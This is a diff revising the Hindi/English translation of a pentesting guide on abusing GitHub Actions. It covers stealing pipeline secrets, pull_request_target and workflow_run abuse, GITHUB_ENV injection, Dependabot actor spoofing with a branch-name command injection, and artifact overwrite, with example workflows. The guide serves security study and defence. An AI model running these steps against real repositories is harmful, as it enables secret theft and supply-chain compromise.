diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index d41c8690d..9fb7cbe71 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,55 +4,55 @@ ## Tools -निम्नलिखित उपकरण Github Action workflows खोजने और यहाँ तक कि संभावित vulnerable ones पहचानने में उपयोगी हैं: +निम्न टूल Github Action workflows खोजने और संभावित कमजोर workflows ढूँढने में उपयोगी हैं: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - इसकी checklist भी देखें: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - इसके चेकलिस्ट को भी देखें [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Basic Information -इस पृष्ठ में आप पाएँगे: +इस पेज में आप पाएँगे: -- एक **सभी प्रभावों का सारांश** जब कोई attacker Github Action तक access प्राप्त कर ले -- किसी action तक **access प्राप्त करने** के विभिन्न तरीके: - - Action बनाने के लिए **permissions** होना - - **pull request** से जुड़े triggers का दुरुपयोग - - अन्य **external access** तकनीकों का दुरुपयोग +- एक **हमलावर द्वारा Github Action तक पहुँच प्राप्त करने पर सभी प्रभावों का सारांश** +- किसी action तक **पहुँच प्राप्त करने के विभिन्न तरीके**: + - action बनाने की **permissions** होना + - **pull request** संबंधित triggers का दुरुपयोग + - अन्य बाहरी access तकनीकों का दुरुपयोग - पहले से compromised repo से **Pivoting** -- अंत में, एक सेक्शन **post-exploitation techniques** के बारे में ताकि action के अंदर से उसे abuse किया जा सके (और बताए गए प्रभाव उत्पन्न हों) +- अंत में, एक सेक्शन **post-exploitation techniques to abuse an action from inside** के बारे में (उपर्युक्त प्रभावों का कारण बनना) ## Impacts Summary -Github Actions के परिचय के लिए [**basic information देखें**](../basic-github-information.md#github-actions). +For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -यदि आप किसी **repository** के भीतर GitHub Actions में arbitrary code execute कर सकते हैं, तो आप संभवतः निम्न कर पाएँगे: +यदि आप किसी **repository** के भीतर GitHub Actions में मनमाना कोड चला सकते हैं, तो आप संभवतः कर पाएँगे: -- **Steal secrets** mounted to the pipeline और external platforms (जैसे AWS और GCP) में unauthorized access पाने के लिए pipeline की **abuse the pipeline's privileges** कर सकते हैं। -- **Compromise deployments** और अन्य **artifacts**। -- यदि pipeline assets को deploy या store करता है, तो आप final product को बदल सकते हैं, जिससे supply chain attack संभव हो सकता है। -- **Execute code in custom workers** करके computing power का दुरुपयोग कर सकते हैं और अन्य systems की ओर pivot कर सकते हैं। -- `GITHUB_TOKEN` से जुड़ी permissions पर निर्भर करते हुए, आप **Overwrite repository code** भी कर सकते हैं। +- पाइपलाइन में mounted **secrets** चोरी करना और पाइपलाइन की privileges का दुरुपयोग करके बाहरी प्लेटफ़ॉर्म जैसे AWS और GCP तक अनधिकृत पहुँच प्राप्त करना। +- deployments और अन्य **artifacts** को compromise करना। +- यदि pipeline assets को deploy या store करता है, तो आप अंतिम प्रोडक्ट को बदल सकते हैं, जिससे उपभोक्ता श्रृंखला (supply chain) हमला संभव हो सकता है। +- custom workers में कोड execute करके computing power का दुरुपयोग और अन्य सिस्टम्स की ओर pivot करना। +- `GITHUB_TOKEN` से संबंधित permissions पर निर्भर करते हुए repository के कोड को overwrite करना। ## GITHUB_TOKEN -यह "**secret**" (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब admin इस option को enable करता है: +यह **secret** (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब admin यह विकल्प सक्षम करता है:
-यह token वही है जिसका उपयोग एक **Github Application** करेगा, इसलिए यह वही endpoints access कर सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github को एक [**flow**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो GitHub के भीतर **cross-repository** access की अनुमति दे, ताकि एक repo अन्य internal repos को `GITHUB_TOKEN` का उपयोग करके access कर सके। +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -आप इस token की संभावित **permissions** यहाँ देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -ध्यान दें कि यह token **job पूरा होने के बाद expire हो जाता है**.\ -ये tokens इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Note that the token **expires after the job has completed**.\ +These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -कुछ रोचक चीज़ें जो आप इस token से कर सकते हैं: +Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> ध्यान दें कि कई मौकों पर आप **github user tokens inside Github Actions envs or in the secrets** पा सकते हैं। ये tokens आपको repository और organization पर अधिक privileges दे सकते हैं। +> ध्यान दें कि कई मौकों पर आप **github user tokens inside Github Actions envs or in the secrets** पा सकते हैं। ये tokens repository और organization पर आपको अधिक अधिकार दे सकते हैं।
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दी गई permissions की जाँच कर सकें **checking the logs** of the actions: +It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
## अनुमत निष्पादन > [!NOTE] -> यह Github actions को compromise करने का सबसे आसान तरीका होगा, क्योंकि इस केस में माना गया है कि आपके पास **create a new repo in the organization** करने की पहुँच है, या किसी रिपॉजिटरी पर **write privileges over a repository** हैं। +> यह Github actions को compromise करने का सबसे आसान तरीका होगा, क्योंकि यह केस मानता है कि आपके पास **create a new repo in the organization**, या **write privileges over a repository** का access है। > -> यदि आप इस परिदृश्य में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं। +> अगर आप इस scenario में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं। -### Execution from Repo Creation +### Repo Creation से निष्पादन -यदि किसी organization के सदस्य **create new repos** कर सकते हैं और आप github actions execute कर सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं। +यदि एक organization के members **create new repos** कर सकते हैं और आप github actions execute कर सकते हैं, तो आप **create a new repo करके organization level पर सेट किए गए secrets चुरा सकते हैं**। -### Execution from a New Branch +### New Branch से निष्पादन -यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content **upload** कर सकते हैं, और फिर **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या नाम दिया गया है)। +यदि आप **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप उसे **modify** कर सकते हैं, content **upload** कर सकते हैं, और फिर उस action को **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (पर आपको पता होना चाहिए कि उन्हें क्या नाम दिया गया है)। > [!WARNING] -> यदि कोई restriction केवल workflow YAML के भीतर लागू की गई है (उदाहरण के लिए, `on: push: branches: [main]`, job conditionals, or manual gates) तो collaborators उसे edit कर सकते हैं। बाहरी प्रवर्तन (branch protections, protected environments, and protected tags) के बिना, एक contributor किसी workflow को उनके branch पर चलाने के लिए retarget कर सकता है और mounted secrets/permissions का दुरुपयोग कर सकता है। +> यदि कोई restriction केवल workflow YAML के अंदर लागू की गई है (उदाहरण के लिए, `on: push: branches: [main]`, job conditionals, या manual gates), तो collaborators द्वारा उसे edit किया जा सकता है। बाहरी enforcement (branch protections, protected environments, and protected tags) के बिना, एक contributor workflow को retarget करके अपने branch पर चला सकता है और mounted secrets/permissions का दुरुपयोग कर सकता है। -आप modified action को **manually,** जब एक **PR is created** या जब **some code is pushed** (यह निर्भर करता है कि आप कितना noisy होना चाहते हैं) executable बना सकते हैं: +आप modified action को executable बना सकते हैं **manually,** जब एक **PR is created** या जब **some code is pushed** (निर्भर करता है कि आप कितना noisy होना चाहते हैं): ```yaml on: workflow_dispatch: # Launch manually @@ -183,44 +183,44 @@ branches: ## Forked Execution > [!NOTE] -> विभिन्न triggers हैं जो एक हमलावर को **execute a Github Action of another repository** करने की अनुमति दे सकते हैं। यदि उन triggerable actions का configuration खराब है, तो हमलावर उन्हें compromise कर सकता है। +> ऐसे विभिन्न triggers होते हैं जो एक attacker को किसी अन्य repository के Github Action को **execute** करने की अनुमति दे सकते हैं। यदि उन triggerable actions को गलत तरीके से कॉन्फ़िगर किया गया है, तो attacker उन्हें compromise कर सकता है। ### `pull_request` -The workflow trigger **`pull_request`** वर्कफ़्लो को हर बार execute करेगा जब भी एक pull request प्राप्त होगा, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **first time** **collaborating** है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा: +The workflow trigger **`pull_request`** हर बार workflow को execute करेगा जब भी कोई pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से यदि यह आपकी **first-time** collaboration है, तो कुछ **maintainer** को workflow के **run** को **approve** करना होगा:
> [!NOTE] -> चूँकि यह **default limitation** पहली बार योगदान करने वालों पर लागू होती है, आप एक वैध **fixing a valid bug/typo** का योगदान करके फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं। +> चूंकि यह **default limitation** **first-time** contributors के लिए है, आप एक वैध **fixing a valid bug/typo** करके योगदान दे सकते हैं और फिर अपनी नई `pull_request` privileges का दुरुपयोग करने के लिए **other PRs** भेज सकते हैं। > -> **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि किसी ऐसे व्यक्ति के नाम से एक account बनाया जाए जिसने परियोजना में योगदान दिया था और फिर उसने अपना account हटा दिया।~~ +> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ -इसके अलावा, डिफ़ॉल्ट रूप से यह target repository को **prevents write permissions** और **secrets access** नहीं देता जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख है: +Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -एक हमलावर Github Action की definition को बदल सकता है ताकि arbitrary चीज़ें execute की जा सकें और arbitrary actions जोड़ी जा सकें। हालांकि, बताए गए सीमाओं के कारण वह secrets चुरा नहीं पाएगा या repo को overwrite नहीं कर पाएगा। +एक attacker Github Action की definition को बदल सकता है ताकि arbitrary चीज़ें execute की जा सकें और arbitrary actions जोड़ी जा सकें। हालांकि, ऊपर बताए गए limitations के कारण वह secrets चुरा नहीं पाएगा या repo को overwrite नहीं कर पाएगा। > [!CAUTION] -> **हाँ, अगर हमलावर PR में उस github action को बदल देता है जो trigger होगा, तो उसका Github Action ही उपयोग होगा न कि origin repo का!** +> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** -चूंकि हमलावर उस code को भी नियंत्रित करता है जो execute किया जा रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, हमलावर उदाहरण के लिए **upload malicious artifacts** कर सकता है। +चूंकि attacker उस execute होने वाले code को भी नियंत्रित करता है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, attacker उदाहरण के लिए **upload malicious artifacts** कर सकता है। ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission के लिए पूछता नहीं है)। +The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलती है (और यह permission की मांग नहीं करता)। -ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **not execute untrusted code**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\ -इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में और जानकारी के लिए यह [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) देखें। +ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है न कि PR द्वारा दिए गए context में (ताकि **untrusted code** execute न हो)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +इसके अलावा, इस विशेष खतरनाक उपयोग के बारे में अधिक जानकारी के लिए [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में परिभाषित है और **not in the PR**, इसलिए **`pull_request_target`** का उपयोग करना **secure** है, पर कुछ मामलों में ऐसा नहीं होता। +ऐसा लग सकता है कि चूंकि **executed workflow** वही है जो **base** में defined है और **not in the PR**, इसलिए **`pull_request_target`** का उपयोग करना **secure** है, लेकिन कुछ **मामले ऐसे हैं जहां यह सुरक्षित नहीं होता**। -और यह **access to secrets** प्राप्त कर सकेगा। +और यह ट्रिगर वाले को **access to secrets** मिलेगा। ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger एक workflow को किसी अन्य workflow द्वारा तब चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो। +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger आपको किसी workflow को दूसरे workflow से तब चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो। In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: ```yaml @@ -232,8 +232,8 @@ types: ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -इस तरह के workflow पर तब हमला किया जा सकता है जब यह किसी ऐसे **workflow** पर निर्भर हो जो किसी external user द्वारा **`pull_request`** या **`pull_request_target`** के ज़रिए **trigger** किया जा सकता है। कुछ vulnerable उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण उस **`workflow_run`** triggered workflow का है जो attacker के code को डाउनलोड कर लेता है: `${{ github.event.pull_request.head.sha }}`\ -दूसरा उदाहरण उस स्थिति का है जहाँ untrusted code से एक **artifact** को **`workflow_run`** workflow में पास किया जाता है और उस artifact की content को इस तरह इस्तेमाल किया जाता है कि वह **vulnerable to RCE** हो जाता है। +इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे **workflow** पर **depending** करता है जिसे बाहरी user द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **triggered** किया जा सकता है। कुछ vulnerable उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण `workflow_run` द्वारा triggered workflow है जो attackers के code को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\ +दूसरा उदाहरण अनtrusted code से एक **artifact** पास करने और उस artifact की सामग्री का उपयोग करने का है जिससे यह **vulnerable to RCE** बन सकता है। ### `workflow_call` @@ -241,15 +241,15 @@ TODO TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Abusing Forked Execution +## Forked Execution का दुरुपयोग -हमने उन सभी तरीकों का ज़िक् किया है जिनसे एक external attacker किसी GitHub workflow को execute करवाने में कामयाब हो सकता है, अब देखते हैं कि ये executions, अगर गलत कॉन्फ़िगर किए गए हों, तो कैसे दुरुपयोग किए जा सकते हैं: +हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करा सकता है, अब देखते हैं कि ये executions, अगर गलत तरीके से configured हों, तो उनका दुरुपयोग कैसे किया जा सकता है: ### Untrusted checkout execution -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request). +यदि यह **`pull_request`** के मामले में है, तो workflow PR के context में execute होगा (इसलिए यह **malicious PRs code** को execute करेगा), लेकिन किसी को पहले इसे **authorize** करना होगा और यह कुछ [limitations](#pull_request) के साथ चलेगा। -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +यदि कोई workflow **`pull_request_target` or `workflow_run`** का उपयोग कर रहा है और वह किसी ऐसे workflow पर depend करता है जिसे **`pull_request_target`** या **`pull_request`** से trigger किया जा सकता है, तो original repo का code executed होगा, इसलिए attacker executed code को control नहीं कर सकता। > [!CAUTION] > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): @@ -282,14 +282,14 @@ message: | Thank you! -The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +संभावित रूप से **untrusted code `npm install` या `npm build` के दौरान run किया जा रहा है** क्योंकि build scripts और referenced **packages PR के author द्वारा control किए जाते हैं**। > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +ध्यान दें कि कुछ [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) के values उस **user** द्वारा control किए जाते हैं जो PR बना रहा है। अगर github action उन डेटा का उपयोग किसी भी चीज़ को execute करने के लिए कर रहा है, तो यह **arbitrary code execution** में बदल सकता है: {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +docs के अनुसार: आप किसी workflow job में किसी **environment variable** को किसी भी subsequent steps के लिए उपलब्ध करवा सकते हैं, उस environment variable को define या update करके और इसे **`GITHUB_ENV`** environment file में लिखकर। -यदि कोई attacker इस **env** variable के अंदर कोई भी value **inject** कर सके, तो वह ऐसे env variables inject कर सकता है जो आगे के steps में code execute करवा सकते हैं, जैसे **LD_PRELOAD** या **NODE_OPTIONS**। +यदि attacker इस **env** variable के अंदर कोई भी value inject कर सके, तो वह ऐसे env variables inject कर सकता है जो अगले steps में code execute करवा सकते हैं, जैसे **LD_PRELOAD** या **NODE_OPTIONS**। -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +उदाहरण के लिए ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें एक workflow जो किसी uploaded artifact पर भरोसा कर रहा है और उसकी सामग्री को **`GITHUB_ENV`** env variable में स्टोर कर देता है। एक attacker इसे compromise करने के लिए कुछ ऐसा upload कर सकता है:
### Dependabot and other trusted bots -As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: +जैसा कि [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) में बताया गया है, कई organizations के पास एक Github Action होता है जो `dependabot[bot]` से आने वाले किसी भी PRR को merge कर देता है, जैसे: ```yaml on: pull_request_target jobs: @@ -319,12 +319,12 @@ steps: ``` Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- पीड़ित repository को fork करें -- अपने कॉपी में malicious payload जोड़ें -- अपने fork पर Dependabot सक्षम करें और एक outdated dependency जोड़ें। Dependabot उस dependency को ठीक करने के लिए एक branch बनाएगा जिसमें malicious code होगा। -- उस branch से पीड़ित रिपॉज़िटरी पर एक Pull Request खोलें (the PR will be created by the user so nothing will happen yet) -- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` -- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). +- लक्ष्य repository का fork करें +- अपनी copy में malicious payload जोड़ें +- अपने fork पर Dependabot सक्षम करें और एक outdated dependency जोड़ें। Dependabot उस dependency को ठीक करने के लिए malicious code के साथ एक branch बनाएगा। +- उस branch से लक्ष्य repository पर एक Pull Request खोलें (PR उस user द्वारा बनाया जाएगा इसलिए अभी कुछ नहीं होगा) +- फिर, attacker अपने fork में Dependabot द्वारा खोले गए प्रारंभिक PR पर वापस जाएँ और `@dependabot recreate` चलाएँ +- फिर, Dependabot उस branch में कुछ actions perform करता है, जो victim repo पर PR को modify कर देते हैं, जिससे `dependabot[bot]` उस latest event का actor बन जाता है जिसने वर्कफ़्लो को ट्रिगर किया (और इसलिए, वर्कफ़्लो चल जाता है)। Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Well, the original blogpost proposes two options to abuse this behavior being the second one: +ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करता है, जिनमें से दूसरा इस प्रकार है: -- Victim repository को fork करें और किसी outdated dependency के साथ Dependabot सक्षम करें। -- एक नया branch बनाएं जिसमें malicious shell injection code हो। -- Repo का default branch उस branch पर बदल दें। -- इस branch से victim repository में एक PR बनाएं। -- PR में जो Dependabot ने उसके fork में खोला है, वहां `@dependabot merge` चलाएं। -- Dependabot उसके forked repository के default branch में उनके changes को merge कर देगा, victim repository में PR को अपडेट करेगा, जिससे अब `dependabot[bot]` उस latest event का actor होगा जिसने workflow को trigger किया और malicious branch name का उपयोग किया जा रहा होगा। +- लक्षित repository को Fork करें और Dependabot को कुछ outdated dependency के साथ enable करें। +- एक नया branch बनाएं जिसमें malicious shell injeciton code हो। +- repo के default branch को उस branch पर बदल दें +- इस branch से लक्षित repository के लिए एक PR बनाएं। +- उस PR में `@dependabot merge` चलाएँ जो Dependabot ने अपने fork में खोला है। +- Dependabot आपके forked repository के default branch में अपने changes merge कर देगा, जिससे victim repository में PR अपडेट होगा और अब `dependabot[bot]` उस latest event का actor बन जाएगा जिसने workflow को trigger किया था और malicious branch name का उपयोग करेगा। -### Vulnerable Third Party Github Actions +### कमजोर तृतीय-पक्ष Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -जैसा कि [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में बताया गया है, यह Github Action अलग-अलग workflows और यहाँ तक कि अन्य repositories से artifacts तक access करने की अनुमति देता है। +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), यह Github Action विभिन्न workflows और यहां तक कि repositories से artifacts तक access करने की अनुमति देता है। -समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को override कर सकता है जिन्हें बाद में workflow में उपयोग या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो एक attacker इसका दुरुपयोग कर के उन अन्य workflows को compromise कर सकता है जो उस Artifact पर भरोसा करते हैं। +समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फाइलों को override कर सकता है जो बाद में workflow में उपयोग या execute की जा सकती हैं। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उन अन्य workflows को compromise कर सकता है जो Artifact पर भरोसा करते हैं। Example of vulnerable workflow: ```yaml @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -इसे इस workflow से हमला किया जा सकता है: +इसे इस workflow के साथ attack किया जा सकता है: ```yaml name: "some workflow" on: pull_request @@ -393,27 +393,27 @@ path: ./script.py ``` --- -## अन्य External Access +## अन्य बाहरी पहुँच ### Deleted Namespace Repo Hijacking -अगर किसी account ने अपना नाम बदल दिया है तो कुछ समय बाद कोई अन्य user उसी नाम के साथ एक account रजिस्टर कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **less than 100 stars previously to the change of nam**e थे, Github नए रजिस्टर किए गए user को उसी नाम से वही **repository with the same name** बनाने की अनुमति दे देगा जो हटाई गई थी। +If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. > [!CAUTION] -> तो अगर कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो attacker उस account को बना कर action को compromise कर सकता है। +> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. -अगर अन्य repositories इस user के repos से **dependencies from this user repos** इस्तेमाल कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहाँ एक अधिक विस्तृत व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें यह अनुमति देंगी कि हम **pivot from one repo to another** — मान लेते हैं कि हमारे पास पहले repo पर कुछ तरह की access है (पिछले सेक्शन देखें)। +> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). ### Cache Poisoning -एक cache को वही branch में चल रहे **wokflow runs in the same branch** के बीच में रखा जाता है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है, जो बाद में cache में store हो जाता है और किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा। +A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows अन्य workflows और यहाँ तक कि repos से भी **artifacts from other workflows and even repos** का उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो **uploads an artifact** और वह artifact बाद में किसी अन्य workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है: +Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -जैसा कि [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर किसी action को डाउनलोड (`git clone`) कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूँकि policies local paths को प्रभावित नहीं करतीं, **action बिना किसी restriction के execute हो जाएगा।** +As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** -Example: +उदाहरण: ```yaml on: [push, 